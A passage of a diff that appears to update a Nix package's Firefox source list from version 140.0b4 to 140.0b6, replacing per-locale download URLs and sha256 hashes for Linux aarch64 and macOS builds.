+      sha256 = "a43a870dd37f15fbeb101da1960ecdb639ecfd2985410e13c1f1da183605ec67";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/ne-NP/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/ne-NP/firefox-140.0b6.tar.xz";
       locale = "ne-NP";
       arch = "linux-aarch64";
-      sha256 = "f2490420afc5dfcf52ebe57bcce39f3a4884dea697f244a6bb1c5ad59f4318f2";
+      sha256 = "b13943075cab22dba51f25ba6c5124316c3be4b0cb2ff77fde4a9247fa8c02fc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/nl/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/nl/firefox-140.0b6.tar.xz";
       locale = "nl";
       arch = "linux-aarch64";
-      sha256 = "a6cd59a175f6406118408261f6294124a7441e17847a5ec818747a79b5cfc044";
+      sha256 = "64b77da1ffd4eacdaf27daf254e1962a46a4ce8f18f60e1673c27200355d5366";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/nn-NO/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/nn-NO/firefox-140.0b6.tar.xz";
       locale = "nn-NO";
       arch = "linux-aarch64";
-      sha256 = "a55c303f21439df3d7a93fb093b70b13bbd0c310d381132f1d3a0e3eb55b7edc";
+      sha256 = "a705d090315ec18416ef1cb457f497ba683d477458949af30bffd0ab2c853f61";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/oc/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/oc/firefox-140.0b6.tar.xz";
       locale = "oc";
       arch = "linux-aarch64";
-      sha256 = "24e06d73859e511ec57f291bd2516492e5a30e28455a16e24eda79e186d4e484";
+      sha256 = "3e174eb2d5857949af246dea468b4c193acbd25bcd4fc906c000f387ac8269a5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/pa-IN/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/pa-IN/firefox-140.0b6.tar.xz";
       locale = "pa-IN";
       arch = "linux-aarch64";
-      sha256 = "01658567d989c0427da0ed91c633d770ed281855f1dcf9eacfc8a9d4e1c4a61d";
+      sha256 = "5fe8a03510b6aac0e79d18ccf41f2fcb4d269fc1c37a4f491954d05f8f48616b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/pl/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/pl/firefox-140.0b6.tar.xz";
       locale = "pl";
       arch = "linux-aarch64";
-      sha256 = "66661a57a4177366c8e50a5a9ed1c75e56d36aec6f1a11c9db167084ea23bae8";
+      sha256 = "426d5cdf137a6ab9de2f3777bc334a028d2dc8daddb2b6df27c0dde224567168";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/pt-BR/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/pt-BR/firefox-140.0b6.tar.xz";
       locale = "pt-BR";
       arch = "linux-aarch64";
-      sha256 = "a563cf71764b735541cc1c7ea937819c7edaeaadc14cbfff3739c1ac3e16d6bf";
+      sha256 = "3e138e048eeaae877d4fed415408f460283e6e6082189ed0835af6c55ea40b85";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/pt-PT/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/pt-PT/firefox-140.0b6.tar.xz";
       locale = "pt-PT";
       arch = "linux-aarch64";
-      sha256 = "7abe6b559e61fa1fe77b9cb91c647378db6b5a45957ee03259cf9ff7f783800a";
+      sha256 = "6d867d7cfcc8f9885474d28b3c46323075883bba1e75ca47c3ac3cbe048315c1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/rm/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/rm/firefox-140.0b6.tar.xz";
       locale = "rm";
       arch = "linux-aarch64";
-      sha256 = "9e6b92cb0b7f3ff8fd449b4a96d8b13f7eebe3f3113c98fa94eddb0a4121ebae";
+      sha256 = "c8330384c35ebaf86549f8fa2c1d73fb9ee236e33f8a54b353403624d348da57";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/ro/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/ro/firefox-140.0b6.tar.xz";
       locale = "ro";
       arch = "linux-aarch64";
-      sha256 = "38e9fa5a6953c89263feeca394a71efc409c4c9f785f34550decbba2cbc18c63";
+      sha256 = "dfb2ffdc9ffc70f7eb2f04fc2b5e0445f039706b15f669490b830e53844f0377";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/ru/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/ru/firefox-140.0b6.tar.xz";
       locale = "ru";
       arch = "linux-aarch64";
-      sha256 = "f9fcbe379df93978d282f531609abfbc710054bc4c1461ac9fbd80a9c9b15ede";
+      sha256 = "c13c2d800a4a2b3fe556274d16ad2be4ee26e642f56dabfb176da516e07e92f9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/sat/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/sat/firefox-140.0b6.tar.xz";
       locale = "sat";
       arch = "linux-aarch64";
-      sha256 = "5f609b6774298690551bb08643d3e13733e2081fe108834908ea4f744f865fab";
+      sha256 = "87da408c95335989987a8fc08adeb48558b65222530fbcc56f15a8989e44ac73";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/sc/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/sc/firefox-140.0b6.tar.xz";
       locale = "sc";
       arch = "linux-aarch64";
-      sha256 = "4ac4a80995702ccb10076113ef853d614ebd5d8321f336d670f2d7443b4301d2";
+      sha256 = "d5654ae0594dff8078bec584fc3884bb399c218181f6415bec8d2eae610c99ad";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/sco/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/sco/firefox-140.0b6.tar.xz";
       locale = "sco";
       arch = "linux-aarch64";
-      sha256 = "2ac20c11a5333d3d6c61acbcc4f651e5fdda00faf85126dbe224d961506d063c";
+      sha256 = "0cf196fa3fb5d8a4ef068eae26cab0cb9e38bddb1aa2261b2ae4e04bebdfe2c4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/si/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/si/firefox-140.0b6.tar.xz";
       locale = "si";
       arch = "linux-aarch64";
-      sha256 = "c41d50301986acd685f22891df7003e6758ffd8b6e88b999e96e2600262cc03d";
+      sha256 = "0ffa2511f59d9b5702d55d827c27847cdbddb3285794a21bb86546fe7c949449";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/sk/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/sk/firefox-140.0b6.tar.xz";
       locale = "sk";
       arch = "linux-aarch64";
-      sha256 = "cd8fb4a85e71d82519a3d0bcf5f8502c84bded00029ee9f1a1ffcd40cdf0f0f7";
+      sha256 = "03bd3e41fdd25dcff6a55555237bd025153df0529a2075d33dcfc1054116ce7a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/skr/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/skr/firefox-140.0b6.tar.xz";
       locale = "skr";
       arch = "linux-aarch64";
-      sha256 = "5d86ae9529ea78a30b437eb85a3fc230162a62ac287ee16d4a2118d380b04f6e";
+      sha256 = "9cf365d13319694513adb0e47a7805d843d44c976019a1f50c4b1ddde76ff62a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/sl/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/sl/firefox-140.0b6.tar.xz";
       locale = "sl";
       arch = "linux-aarch64";
-      sha256 = "f9b3bc5c542d63952ac4fc287d6d19239fd5b14d2bfb550eb868fe2bf84ad9d7";
+      sha256 = "fdd2f3c6f0124bf5ca160d10cec486ead78fa2e889bea2c5e134390dbc1b1cc8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/son/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/son/firefox-140.0b6.tar.xz";
       locale = "son";
       arch = "linux-aarch64";
-      sha256 = "146bcb03804707694ff45463fa78e3b33b0ef1e4c29e8c879171cd8495f2b506";
+      sha256 = "4a2031a9b2a4d51e919903920fe77b7084abc15cc30c9f551df0948a3c816d5d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/sq/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/sq/firefox-140.0b6.tar.xz";
       locale = "sq";
       arch = "linux-aarch64";
-      sha256 = "2a888fb0dc58d32d0682333b55b3fe84f79a2a3af9538fb26504745adfa04411";
+      sha256 = "16155600c16b2982190500613130a34b098d5891b9eca894e555f0281b22f20d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/sr/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/sr/firefox-140.0b6.tar.xz";
       locale = "sr";
       arch = "linux-aarch64";
-      sha256 = "59a955e11e42f8a72274274c341a7b191ed1dc7bb3f6755ed127ecc13207735a";
+      sha256 = "096dd836daf90b18f701253df7c66fe4cab845dffe5e60f6f35e2c661d8f3cc8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/sv-SE/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/sv-SE/firefox-140.0b6.tar.xz";
       locale = "sv-SE";
       arch = "linux-aarch64";
-      sha256 = "fcc9eaa8966ef2fab3befa7bb962513f15e43b8f35035db6b31cdcf517fd4a73";
+      sha256 = "788cbe4cc058a0c23a0f0057dcdaa309ab12b35e4b1fc340aecd92ca0cf4cc5c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/szl/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/szl/firefox-140.0b6.tar.xz";
       locale = "szl";
       arch = "linux-aarch64";
-      sha256 = "7e5e7210213bcc5686701b258ef1b8feb95257dd23761d72a32bd22fe454d7bf";
+      sha256 = "521bf2cc23622f3f2604280bcfa1f4659051b88a7ffedcaa6dacbc0f98c43a66";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/ta/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/ta/firefox-140.0b6.tar.xz";
       locale = "ta";
       arch = "linux-aarch64";
-      sha256 = "ff668385625e513b54d37fbcbd1acdf9981c408b9b94f4029fcd09a1c2176b5c";
+      sha256 = "42a0073e0ae87cd35ced857704b2dbb9f82ef8bd2a176cda6b5591eb2ad6333d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/te/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/te/firefox-140.0b6.tar.xz";
       locale = "te";
       arch = "linux-aarch64";
-      sha256 = "e02f9fdd62addb35ac5b762050be969602555389507046d9faf5fa7329ab4823";
+      sha256 = "6ae3d560934edbfb3bae0d4b2a1b314da00bc963eb3cfc3ed7a903570d0f5022";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/tg/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/tg/firefox-140.0b6.tar.xz";
       locale = "tg";
       arch = "linux-aarch64";
-      sha256 = "30e5a40d34e1d99a3b8837ba126c781f71073015129d851fe1fb56eec39377bf";
+      sha256 = "4dd4a7b1cc077a3373a5e7b8ca0e7843c183647d5db20028eabf7f365f73711e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/th/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/th/firefox-140.0b6.tar.xz";
       locale = "th";
       arch = "linux-aarch64";
-      sha256 = "a7a947887fad3a4d8ef01dab58cdbc067981dcc9d7459df5d60bc656d5e2497f";
+      sha256 = "dcd8f27f9d2aeb8238ab26682998798885c1efcbce3f1d57658b7a3a4fa23127";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/tl/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/tl/firefox-140.0b6.tar.xz";
       locale = "tl";
       arch = "linux-aarch64";
-      sha256 = "a7be643c4803c4cc96b84618c35b1c922bef223585a75f18b8349752cb975296";
+      sha256 = "5784552f364919bcb9bf9d0465ea76123cf7ba88bb143afa88e5e367c5155ca2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/tr/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/tr/firefox-140.0b6.tar.xz";
       locale = "tr";
       arch = "linux-aarch64";
-      sha256 = "19e5d98f276f5635841c87e6c8023e72acd60bd756ed8cfddaa0f2781fe1818f";
+      sha256 = "c78ed3a6888b25870cf88adb9f634a264ad3ee9e8ca9d265da4d490118ee1241";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/trs/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/trs/firefox-140.0b6.tar.xz";
       locale = "trs";
       arch = "linux-aarch64";
-      sha256 = "564791342249ef49da8ae779e84a013c834f0881c4acf7ed9d948b8f50d89c8a";
+      sha256 = "6aafade8a1be4d728699217df5af58d35201dc0d7ae06b48b811f04291e28b53";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/uk/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/uk/firefox-140.0b6.tar.xz";
       locale = "uk";
       arch = "linux-aarch64";
-      sha256 = "215715aeb75eac4285b506b3a576f358c9c49b487c124c6da4f62c6c75c171cf";
+      sha256 = "a9b244db3309a36817d592de909023fecc3ead9bb1a4cf18af9be2635770c9b0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/ur/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/ur/firefox-140.0b6.tar.xz";
       locale = "ur";
       arch = "linux-aarch64";
-      sha256 = "9a0aba63bf9b643d94b85f21e05b817aacacd46e74531c1de2771962b47e234c";
+      sha256 = "890c8fd5caa23fad6573f96c6ccdf494c8f98a4e5396efc336635293ab6a8e6f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/uz/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/uz/firefox-140.0b6.tar.xz";
       locale = "uz";
       arch = "linux-aarch64";
-      sha256 = "395c7875c568318821381aea1a879e63e477ee281eb3f071bd26ee43a5f803e6";
+      sha256 = "b8046e671f98405f294fcf7e9c4e267fd2ed4febd2f808de001455051409bb5b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/vi/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/vi/firefox-140.0b6.tar.xz";
       locale = "vi";
       arch = "linux-aarch64";
-      sha256 = "be24eaa206c9e1685a068f44547603770de6f623a3701edec12fe8289fc425b5";
+      sha256 = "e27c08f33fc10a4cd4c0b70d75d6566a6cc7b4cc6b0aaad4a4b92c108060349f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/xh/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/xh/firefox-140.0b6.tar.xz";
       locale = "xh";
       arch = "linux-aarch64";
-      sha256 = "3b0d01efdd7cac99912ee95dd058a0a115e7f0dacccfa948b0a56e4a9fbf88f5";
+      sha256 = "4fc6beb921e2361125efc2c450655714e675dc9d50a2ec82391f49eaed1172c6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/zh-CN/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/zh-CN/firefox-140.0b6.tar.xz";
       locale = "zh-CN";
       arch = "linux-aarch64";
-      sha256 = "08de3ee0eb0cfaacd24a525ebc645e3a3ebe8b7b4ec2bb25a1f9afab20c65ba9";
+      sha256 = "34b989b326905d4bf6edf463b6203b712de51900ce743233d00f1b3b6df1e822";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/linux-aarch64/zh-TW/firefox-140.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/linux-aarch64/zh-TW/firefox-140.0b6.tar.xz";
       locale = "zh-TW";
       arch = "linux-aarch64";
-      sha256 = "be9a2ec30189f97b100dc683e61c6484aad2830b1ba1263a043ed5e6e9a3afed";
+      sha256 = "5334fddef31da56b1cc03b9bccbb0658c47a24a4fb77fa8391a60af102fde10d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/ach/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/ach/Firefox%20140.0b6.dmg";
       locale = "ach";
       arch = "mac";
-      sha256 = "7011b99f89c7c60f226f115896cad9e68d5cbaeca7a819684f85d8b071595c76";
+      sha256 = "b55c9da845a9ad7dfb14d787a0cb0df34fa9e6fa3c05b165be9ce64267d008b9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/af/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/af/Firefox%20140.0b6.dmg";
       locale = "af";
       arch = "mac";
-      sha256 = "2c3e99a5d7c10303a21aae63646ee282ab113392ed786697bfab38a5ad486773";
+      sha256 = "b8cb63d503a141499caa5fb68ecfb7f2ca5f49fef960d6119024b8b89dca5b03";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/an/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/an/Firefox%20140.0b6.dmg";
       locale = "an";
       arch = "mac";
-      sha256 = "2c656ae52400af6838b92d40968452d7d61d520746363e5a53a54048e382c4de";
+      sha256 = "ebda4c5460c13c8602ceee736f9ac844996beb7752e51934e5b019e0d60214a3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/ar/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/ar/Firefox%20140.0b6.dmg";
       locale = "ar";
       arch = "mac";
-      sha256 = "5bc54dd06348de5a8ffda4f2fdd1223c78532a31041a7a6e28a3dccac2f57e06";
+      sha256 = "2467bfc7aa85172172dfe260e247c04359b7be21367da86470175222dae629eb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/ast/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/ast/Firefox%20140.0b6.dmg";
       locale = "ast";
       arch = "mac";
-      sha256 = "054584aa35018c91369ba1e53675333debe62c8c10fb34b27fd9233869330cfa";
+      sha256 = "cdb7b50b3f3364e0b0b27e2f4c8aaede449ab1244523e812cd0822ab281fda57";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/az/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/az/Firefox%20140.0b6.dmg";
       locale = "az";
       arch = "mac";
-      sha256 = "665f07436f9d3da77906c250a390d07fadc472d9014bf708c4b76e4787aee258";
+      sha256 = "9218696ae94c2d932669d94f29885906759a39bf5bce2580d8b188085571ecc6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/be/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/be/Firefox%20140.0b6.dmg";
       locale = "be";
       arch = "mac";
-      sha256 = "c9934c38c43f95da6d3a5ed936b39f0a33399dc805dc26a357423a6d76082527";
+      sha256 = "10569a7297baa577cabef6c73bfc6d89168864e36ddc67a815c9a6551cd4fae2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/bg/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/bg/Firefox%20140.0b6.dmg";
       locale = "bg";
       arch = "mac";
-      sha256 = "ce43e7486523ea791a3410b23d6445ac4742bdfc17f4dff7fef166c9dfb74fc7";
+      sha256 = "03acebd1cb5b0614b51511c780462c62f31214eb86751753bf7dff3ec503a0f8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/bn/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/bn/Firefox%20140.0b6.dmg";
       locale = "bn";
       arch = "mac";
-      sha256 = "82f8fd00def7073356e6091e759cb14bce43d1e808118deeedd35c3c9e52442b";
+      sha256 = "b6f512cfd426c73a95a9a0f649b032079a66ffee662d22e1b67e9faf83ea724f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/br/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/br/Firefox%20140.0b6.dmg";
       locale = "br";
       arch = "mac";
-      sha256 = "b4dacee5016f58f013682c8979db040c62c0430517f796934928e3d3758f93fe";
+      sha256 = "657be978a9c98b8ab0e8d98c94efbfdebc903071283ea805bf126e29e72684f7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/bs/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/bs/Firefox%20140.0b6.dmg";
       locale = "bs";
       arch = "mac";
-      sha256 = "94061d43536184681a280e8439b05f0a5d035aac89cebc28021750818ac2e912";
+      sha256 = "46c70921eb40ff3ef655e96fb971cd20400723e94cc0a5a1ff30c7f65edd58a2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/ca-valencia/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/ca-valencia/Firefox%20140.0b6.dmg";
       locale = "ca-valencia";
       arch = "mac";
-      sha256 = "eef766eb8aa3a35ec8b56cbe5bcdb3a1a6b452bc2d7b6922de7dab7735267bdf";
+      sha256 = "19c2bfac3bf614054b224dba62b3afbb72d3eb66d033adf2fdaae38554554cf1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/ca/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/ca/Firefox%20140.0b6.dmg";
       locale = "ca";
       arch = "mac";
-      sha256 = "d4e684531c5ac1410eeb5454448e61fdc037a768df6355084a9383a560400dab";
+      sha256 = "ea93aaba1785ef017831f83ced895332adadf219504e70c54d0c57ff9496f9ae";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/cak/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/cak/Firefox%20140.0b6.dmg";
       locale = "cak";
       arch = "mac";
-      sha256 = "64ed36ea6ac02037d431b10790ec589a54bc0855b41f40729cc2f0dd1b5735da";
+      sha256 = "e3f364f81cf5ac7cec821f05f7cc07177fa7d0af8722c91b4f0fbc347cb97d23";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/cs/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/cs/Firefox%20140.0b6.dmg";
       locale = "cs";
       arch = "mac";
-      sha256 = "df4e1c59384368749ade8227c196346925c49673d9460b25b0b2f63f7b5d77c5";
+      sha256 = "a86648acdcbed9d7421c72424d42052157ea1f825c14603c0266508238e189e6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/cy/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/cy/Firefox%20140.0b6.dmg";
       locale = "cy";
       arch = "mac";
-      sha256 = "7be81560ab2efa8961f8283bf9ae41b78e9bfecb4fc062bb5a370b691b6e69c6";
+      sha256 = "c1725f092c3e43f9b7ed234cf5283c69e61095ae80594d99ddb65cbfd234996c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/da/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/da/Firefox%20140.0b6.dmg";
       locale = "da";
       arch = "mac";
-      sha256 = "84658e5fea8ba57840788c7d4bdf7ea2600fbea63a7b4c4a2339e70c81f0570d";
+      sha256 = "a752f31d76882f756a4f7e8488eafd0f746ece071894b5a79e5f119892e071b1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/de/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/de/Firefox%20140.0b6.dmg";
       locale = "de";
       arch = "mac";
-      sha256 = "7b18cf594122f970a0e54bd404c92a509134003a48dc238669b93e22207b2301";
+      sha256 = "70ee084818040191e975e1a8a8ad80acb6a62f4e46f22df1e5683b22a844c4c9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/dsb/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/dsb/Firefox%20140.0b6.dmg";
       locale = "dsb";
       arch = "mac";
-      sha256 = "5eaf65eff742646d55df43fe7cf2c2a64b920203a566c8e781eebac4162348aa";
+      sha256 = "908627cb2807b27c09825bcbdd7998ba015d95488309fe74c90d309df342e901";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/el/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/el/Firefox%20140.0b6.dmg";
       locale = "el";
       arch = "mac";
-      sha256 = "d45c6ff3e7303e12f87b5d6b049653c9ae1a5516784703514f91959fdab73d70";
+      sha256 = "b29bf2354ce959e36b82b22db10220656dceaa8d7429b5abd142fa1faa381e7c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/en-CA/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/en-CA/Firefox%20140.0b6.dmg";
       locale = "en-CA";
       arch = "mac";
-      sha256 = "6375d180427113749371732054557dcc40e7d90e7a0207bcdb9306468a211021";
+      sha256 = "0756edd349c74d680ee93bdb5e2ac5d290f203a3293c03b160b9b359d2f58464";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/en-GB/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/en-GB/Firefox%20140.0b6.dmg";
       locale = "en-GB";
       arch = "mac";
-      sha256 = "185dc01cd6183516cab7f175982bc0de5ece04605077c2775a1f670e5360172e";
+      sha256 = "460eec43ccc80b8a260ac3d4a5623ad694c504e1c01d912a48c13ef9f539c7b2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/en-US/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/en-US/Firefox%20140.0b6.dmg";
       locale = "en-US";
       arch = "mac";
-      sha256 = "dce036c33d4749910cc2d87ce4c6786f7538a83dfe22f1ae1f9bfd17d4a23523";
